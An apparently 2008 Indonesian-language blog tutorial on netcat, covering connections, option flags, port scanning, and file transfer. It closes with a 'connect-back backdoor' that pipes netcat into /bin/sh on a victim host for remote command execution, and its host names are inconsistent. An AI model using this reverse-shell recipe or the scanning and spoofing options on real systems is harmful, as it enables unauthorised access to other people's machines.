Selasa, 27 Mei 2008

Netcat

Netcat secara sederhana, penggunaannya mirip dengan penggunaan telnet Telnet client, karena pada netcat dapat mengakses remote host mana saja dengan port apa saja (pada protokol TCP dan UDP). Sebagai contoh: untuk connect ke sebuah host bernama google.org pada port 80, Anda cukup mengeksekusi command:

$ nc google.com 80

Lalu tekan CTRL + C untuk exit. Jika port yang dituju terbuka, Anda dapat
memberikan perintah yang Anda inginkan. Seperti:


$ nc google.org 80
GET / HTTP/1.0 [ENTER]
[ENTER]
HTTP/1.1 200 OK
Date: Sat, 30 Apr 2005 03:29:21 GMT
Server: Apache/1.3.33 (Darwin) PHP/4.3.10
Connection: close
Content-Type: text/html
...

Netcat juga dapat digunakan sebagai tool untuk melakukan testing sebuah firewall. Yang menjadi tujuan testing adalah mencari tahu ports yang berstatus OPEN dan LISTENING.

Perintah-perintah di dalam netcat antara lain :
-g gateway Tentukan source routing hop untuk koneksi-koneksi outbound.
-G number Digunakan untuk memberikan spesifikasi source routing pointer dalam IP header.. value: 4, 8, 12, ...
-i seconds Menentukan delay interval pengiriman packets. Sebagai contoh, jika Anda ingin netcat menunggu 5 detik untuk scanning ports, gunakan -i 5
-l Listen mode. Jika digunakan dengan options tambahan, maka sangat dimungkinkan untuk melakukan binding ke sebuah root shell.
-n Tidak menggunakan DNS support dan hanya menggunakan IP address saja. Sangat berguna jika DNS Anda seringkali 'lambat' dan 'bermasalah'.
-o file Membuat format hex-dump traffic ke sebuah file.
-p value Sebuah option untuk melakukan port spoofing. Jika Anda ingin sebuah packet tampak terkirim dari port 53 dari sebuah host, maka Anda akan menggunakan -p 53.
-r Memungkinkan netcat untuk melakukan random scanning ports.
-s address Melakukan spoofing source address dari packet. Option ini tidak dapat bekerja pada semua sistem.
-u Secara default, netcat menggunakan protokol TCP. Dengan menggunakan option ini, netcat akan menggunakan User Datagram Protocol (UDP).
-v Verbose mode. Gunakan -v -v untuk mendapatkan informasi yang lebih banyak.
-w seconds Membuat netcat menunggu (dalam detik) untuk setiap respon port. Option ini biasanya dikombinasikan dengan option -z
-z Juga disebut "zero-I/O mode", option ini memungkinkan netcat tidak menggunakan I/O dari source system. Option ini biasanya digunakan ketika memanfaatkan netcat sebagai scanner.

Contoh Dasar ;
Secara sederhana, untuk melakukan koneksi ke remote host, gunakan

$ nc [-options] hostname port[s] [ports] ...

sedangkan untuk listen pada koneksi inbound, gunakan

$ nc -l -p port [-options] [hostname] [port]

Sekarang, kita akan menggunakan netcat sebagai tool untuk melakukan pengecekan terhadap sebuah remote host. Jika Anda menginginkan scanning pada port 1 sampai 1024, maka perintah yang diberikan adalah

$ nc -z -w 5 -n -v 234.56.78.9 1-1024
(UNKNOWN) [234.56.78.9] 631 (?) open
(UNKNOWN) [234.56.78.9] 113 (?) open
(UNKNOWN) [234.56.78.9] 80 (?) open
(UNKNOWN) [234.56.78.9] 25 (?) open

Gunakan double verbose (-v -v) untuk mendapatkan informasi tentang ports yang tertutup (refused)...

(UNKNOWN) [234.56.78.9] 5 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 4 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 3 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 2 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 1 (?) : Connection refused

Option -z dan -w 5 digunakan agar netcat tidak melakukan binding sebuah port dan menunggu lima detik untuk setiap koneksi. Option -n digunakan untuk tidak memanfaatkan fitur DNS resolve.

Untuk target ports, Anda dapat melakukan pembatasan hanya pada port tertentu saja.

$ nc -z -w 5 -n -v 234.56.78.9 21-25, 53, 80, 110-113, 443

Anda dapat melakukan scanning UDP ports dengan menambahkan option -u

$ nc -u -z -v -n 234.56.78.9 1-65335
(UNKNOWN) [234.56.78.9] 69 (?) open
(UNKNOWN) [234.56.78.9] 514 (?) open
(UNKNOWN) [234.56.78.9] 53 (?) open

Contoh untuk tingkat lanjut :
Pada penggunaan tingkat lanjut, netcat juga dapat digunakan sebagai
tool untuk melakukan transfer file. Sebagai contoh: Anda ingin
melakukan copy-transfer sebuah direktori dari host-A ke host-B .
Maka yang perlu Anda lakukan adalah:

* pada host-A

$ tar cvf - direktori/ | nc host-B 12345

* pada host-B

$ nc -l -p 12345 | tar xvf -

Anda juga dapat mengunakan netcat sebagai connect-back backdoor. :-)

* pada host-A, aktifkan 2 window dimana netcat dijalankan dengan LISTEN mode.

$ nc -l -p 12345 [ window-1 ]
$ nc -l -p 12346 [ window-2 ]

* pada host-B (yang menjadi victim)

$ nc -v host-B 12345 | /bin/sh | nc -v host-B 12346

Pada window-1 di host-A, Anda dapat mengetikkan perintah yang akan dijalankan pada host-B, dan kemudian melihat output dari perintah yang diberikan pada window-2 di host-A.




Related Post :



0 comments:

R